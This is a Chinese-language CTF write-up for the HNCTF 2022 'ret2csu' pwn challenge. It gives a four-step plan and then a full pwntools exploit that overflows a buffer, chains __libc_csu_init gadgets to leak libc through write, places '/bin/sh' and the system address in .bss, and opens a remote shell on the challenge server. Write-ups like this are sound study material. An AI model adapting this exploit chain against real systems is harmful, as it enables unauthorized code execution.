【PWN · ret2csu】[HNCTF 2022 WEEK2]ret2csu

记一道ret2csu

---

一、题目

 

二、思路

1.ret2csu用write泄露write的真实地址->泄露libc->获得system的真实地址

2.ret2csu用read写/bin/sh字符串到bss段上

3.ret2csu用write将system的真实地址写到bss段上

4.ret2csu调用system

三、exp

from pwn import *
from pwn import p64
from LibcSearcher import *
context(arch='amd64',log_level='debug')

# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28036)
elf=ELF('./pwn')
# libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
write_got=elf.got['write']
read_got=elf.got['read']

io.recvuntil(b'Input:\n')

def ready_csu(rdi,rsi,rdx,func_ptr_addr):
    payload=p64(0x4012A6)
    payload+=b'junkbyte'
    payload+=p64(0)
    payload+=p64(1)
    payload+=p64(rdi)
    payload+=p64(rsi)
    payload+=p64(rdx)
    payload+=p64(func_ptr_addr)
    return payload

def exec_csu(choice,rdi=-1,rsi=-1,rdx=-1,func_ptr_addr=-1):
    payload=p64(0x401290)
    if choice:
        payload+=b'deadbeef'*7
    else:
        payload+=b'junkbyte'
        payload+=p64(0)
        payload+=p64(1)
        payload+=p64(rdi)
        payload+=p64(rsi)
        payload+=p64(rdx)
        payload+=p64(func_ptr_addr)
    return payload

# gdb.attach(io)        
success('bss-addr:{}'.format(hex(elf.bss())))
raw_input()
start=0x401090

payload=b'a'*(0x100+8)
payload+=ready_csu(1,write_got,0x8,write_got)+exec_csu(0,0,elf.bss()+0x500,0x100,read_got)+exec_csu(1)+p64(start)
io.send(payload)
io.recvuntil(b'Ok.\n')

write_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
io.send(b'/bin/sh\x00')
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
success('write:{}'.format(hex(write_addr)))

payload=b'a'*(0x100+8)
payload+=ready_csu(0,elf.bss()+0x550,0x100,read_got)+exec_csu(0,elf.bss()+0x500,0,0,elf.bss()+0x550)+exec_csu(1)+p64(start)
io.send(payload)
io.recvuntil(b'Ok.\n')
io.send(p64(system_addr))
raw_input()
io.interactive()